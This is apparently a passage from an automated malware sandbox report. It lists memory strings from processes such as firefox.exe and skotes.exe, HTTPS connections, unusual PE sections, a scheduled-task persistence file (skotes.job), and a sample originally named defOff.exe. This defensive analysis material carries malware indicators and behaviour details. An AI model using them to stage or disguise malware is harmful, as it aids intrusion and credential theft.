Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.certum.pl/CPS0
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FEE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001F.00000002.3155816904.000001B344595000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/XPIProvider
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001F.00000002.3041098315.000001B33C894000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3155816904.000001B3445D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3155816904.000001B3445D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2943349248.00000059CA5FC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000001F.00000003.2926225289.000001B33C1CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2925719631.000001B344649000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2919144678.000001B344623000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1755238948.0000000005792000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001F.00000002.2960711583.000001B337D5F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.1755238948.0000000005792000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644297978.00000000054E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001F.00000002.2943349248.00000059CA5FC000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B34489A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A03B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001F.00000002.3146987658.000001B344294000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3148422316.000001B344305000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E6BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001D.00000002.2766624588.000002176A587000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2775791899.000002900910A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2953348583.000001B32C2B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdHN
Source: firefox.exe, 0000001F.00000002.2956554987.000001B32DE59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001F.00000002.2996082321.000001B339CDB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOr
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUnsupported
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdkP
Source: firefox.exe, 0000001F.00000002.3084413359.000001B33E7F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2911101569.000001B33E7F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdv
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64020
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63922
Source: unknown Network traffic detected: HTTP traffic on port 64006 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63892 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64013
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64012
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64015
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63882
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64014
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64019
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63995 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63882 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64013 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63922 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63943 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63933
Source: unknown Network traffic detected: HTTP traffic on port 63958 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64003 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63892
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63933 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64020 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64001 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 63900 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63909
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63900
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63943
Source: unknown Network traffic detected: HTTP traffic on port 64008 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64004 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 64019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64010
Source: unknown Network traffic detected: HTTP traffic on port 64015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64009
Source: unknown Network traffic detected: HTTP traffic on port 64009 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63958
Source: unknown Network traffic detected: HTTP traffic on port 64012 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64001
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64004
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64003
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 63995
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64006
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 64008
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63882 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63892 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63900 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63922 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63933 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63958 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64013 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64019 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: 384a543dd0.exe, 00000012.00000000.2730995677.00000000007F2000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_6b1fa3e8-f
Source: 384a543dd0.exe, 00000012.00000000.2730995677.00000000007F2000.00000002.00000001.01000000.00000012.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_64b944d9-3
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name:
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe.0.dr Static PE information: section name: .idata
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name:
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name: .idata
Source: VG65QSLZVUGSLKDE78EZSIIG.exe.0.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: .idata
Source: skotes.exe.5.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name: .idata
Source: 70bf1463df.exe.8.dr Static PE information: section name:
Source: 70bf1463df.exe.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: e90585a72a.exe.8.dr Static PE information: section name:
Source: e90585a72a.exe.8.dr Static PE information: section name: .rsrc
Source: e90585a72a.exe.8.dr Static PE information: section name: .idata
Source: e90585a72a.exe.8.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_003FE530 8_2_003FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00437049 8_2_00437049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00438860 8_2_00438860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_004378BB 8_2_004378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00432D10 8_2_00432D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_003F4DE0 8_2_003F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_004331A8 8_2_004331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_003F4B30 8_2_003F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00427F36 8_2_00427F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_0043779B 8_2_0043779B
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
One or more processes crash
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6032 -s 1028
Sample file is different than original file name gathered from version info
Source: file.exe Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2053437226.0000000005673000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2021300746.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029359159.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2018496854.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2014495996.00000000059C2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030953250.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029209673.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030593707.0000000005CE7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2019693080.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029044378.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2048916852.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2029448911.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
